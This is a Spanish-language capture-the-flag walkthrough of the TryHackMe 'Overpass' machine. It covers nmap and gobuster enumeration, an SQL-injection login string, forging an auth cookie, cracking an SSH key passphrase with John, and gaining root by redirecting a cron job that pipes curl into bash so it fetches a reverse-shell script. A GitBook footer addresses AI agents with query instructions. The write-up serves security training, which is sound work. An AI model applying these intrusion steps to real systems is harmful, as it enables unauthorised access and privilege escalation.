> For the complete documentation index, see [llms.txt](https://itskode.gitbook.io/pentesting/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://itskode.gitbook.io/pentesting/tryhackme/facil/overpass.md).

# Overpass

## 1. Reconocimiento - Nmap

Se comienza con un escaneo de puertos y versiones contra la maquina objetivo `10.128.164.112`.

```bash
sudo nmap -sV -p- 10.128.164.112
```

![Nmap](/files/GpQFZ3caZ6QuQwE97map)

**Resultados relevantes:**

| Puerto | Estado | Servicio | Version                |
| ------ | ------ | -------- | ---------------------- |
| 22/tcp | open   | SSH      | OpenSSH 8.2p1 Ubuntu   |
| 80/tcp | open   | HTTP     | Golang net/http server |

Con el servicio web abierto, se continua por HTTP.

***

## 2. Enumeracion Web

Al acceder al puerto `80`, se encuentra la pagina principal de **Overpass**, un gestor de contrasenas.

```
http://10.128.164.112
```

![Overpass home](/files/7qBBMhjIYvNro5ZBlj9p)

Se realiza fuzzing de rutas con `gobuster`.

```bash
gobuster dir -u http://10.128.164.112 \
  -w /usr/share/seclists/Discovery/Web-Content/common.txt \
  -x html,txt,php
```

![Gobuster](/files/d6exEYgtKC52AoqQQUTQ)

**Hallazgos importantes:**

| Recurso       | Codigo | Comentario              |
| ------------- | ------ | ----------------------- |
| `/admin/`     | 301    | Panel de administracion |
| `/downloads/` | 301    | Descargas               |
| `/aboutus/`   | 301    | Informacion del sitio   |
| `/img/`       | 301    | Recursos estaticos      |

***

## 3. Panel Admin

Al entrar en `/admin/`, se muestra un login de administrador.

![Admin login](/files/4Eu6WDmYWGSwTDEpYYwl)

Se prueba un bypass SQLi basico, pero las credenciales son rechazadas.

```
' OR 1=1 -- -
```

***

## 4. Bypass por Cookie

Revisando el JavaScript del login, se observa que la autenticacion depende de una cookie llamada `SessionToken`.

![Login JavaScript](/files/Y71kBfbUv7NKmK3vTPmz)

El codigo redirige a `/admin` si la respuesta no es `Incorrect credentials`, guardando el valor devuelto como cookie. En el navegador se crea manualmente la cookie:

```javascript
Cookies.set("SessionToken", "alberto")
```

![SessionToken](/files/AMOisFGsVVgG4eLoQgTu)

Tras recargar `/admin/`, se obtiene acceso al area de administracion.

![Admin area](/files/sOefSD5Q7VN3uYEMprdz)

En la pagina aparece una clave privada RSA cifrada para el usuario `james`.

***

## 5. Crackeo de la Clave SSH

Se copia la clave privada a un archivo y se convierte a formato compatible con John.

```bash
ssh2john ssh_id > hash.txt
```

Despues se crackea con `rockyou.txt`.

```bash
john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
```

![John SSH key](/files/qqiGy5cjiHu8yadW7B2S)

**Passphrase encontrada:**

```
james13
```

***

## 6. Acceso SSH

Se accede por SSH usando la clave privada y la passphrase obtenida.

```bash
ssh james@10.128.164.112 -i ssh_id
```

![SSH james](/files/J84NhXILGSLv5Bo9C5pc)

Acceso conseguido como `james`.

***

## 7. Enumeracion Interna

Se intenta revisar permisos de `sudo`, pero la contrasena no es valida para elevar privilegios.

```bash
sudo -l
```

Tambien se buscan binarios SUID.

```bash
find / -perm -4000 -type f 2>/dev/null
```

![Enumeracion local](/files/3xo6P1gGNwyqNWBnLDFu)

Al revisar `/etc/crontab`, aparece una tarea programada ejecutada como root.

```bash
cat /etc/crontab
cat /etc/hosts
```

![Crontab](/files/Hs8EWoW7YDDnIJUejT25)

**Linea interesante:**

```
* * * * * root curl overpass.thm/downloads/src/buildscript.sh | bash
```

En `/etc/hosts`, `overpass.thm` resuelve a `127.0.0.1`. Si se modifica la resolucion del dominio para que apunte a nuestra maquina, el cron descargara nuestro `buildscript.sh` y lo ejecutara como root.

***

## 8. Preparacion de la Reverse Shell

Se genera un payload de reverse shell en Bash apuntando a la IP atacante y al puerto `9001`.

![Reverse shell payload](/files/fxdiJe1osofL7NYyz3BV)

Se crea el archivo `buildscript.sh` dentro de `downloads/src` y se deja un listener esperando conexion.

```bash
mkdir -p downloads/src
nano downloads/src/buildscript.sh
nc -lvnp 9001
```

![Listener](/files/zl23LEmeXMujPEih4rrT)

Se levanta un servidor HTTP en el puerto `80` para servir el payload.

```bash
sudo python3 -m http.server 80
```

![HTTP server](/files/Ffmv7kBZrQbDEJIB10TW)

***

## 9. Explotacion del Cron

Cuando el cron ejecuta la descarga, solicita `/downloads/src/buildscript.sh` a la maquina atacante.

![Cron request](/files/LAj8dvrhMnAlOy2Ru9Hk)

Se recibe una reverse shell como root.

```bash
id
```

![Root shell](/files/dlC9FKH5MHM7Xf7OJSKG)

**Resultado:**

```
uid=0(root) gid=0(root) groups=0(root)
```

***

## Resumen

| Paso | Tecnica                    | Resultado                          |
| ---- | -------------------------- | ---------------------------------- |
| 1    | Nmap                       | SSH 22 y HTTP 80                   |
| 2    | Gobuster                   | Ruta `/admin/` descubierta         |
| 3    | Analisis JS                | Cookie `SessionToken` identificada |
| 4    | Bypass de cookie           | Acceso al panel admin              |
| 5    | Clave RSA + John           | Passphrase `james13`               |
| 6    | SSH                        | Acceso como `james`                |
| 7    | Crontab                    | Cron ejecuta script remoto         |
| 8    | DNS/hosts hijack + payload | Reverse shell como root            |

***

## Conclusion

La maquina se compromete por una validacion debil en el panel de administracion: basta crear una cookie `SessionToken` para acceder y obtener la clave privada SSH de `james`. Tras crackear su passphrase, se accede por SSH y se escala a root abusando de una tarea cron que descarga y ejecuta `buildscript.sh` desde `overpass.thm`.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://itskode.gitbook.io/pentesting/tryhackme/facil/overpass.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
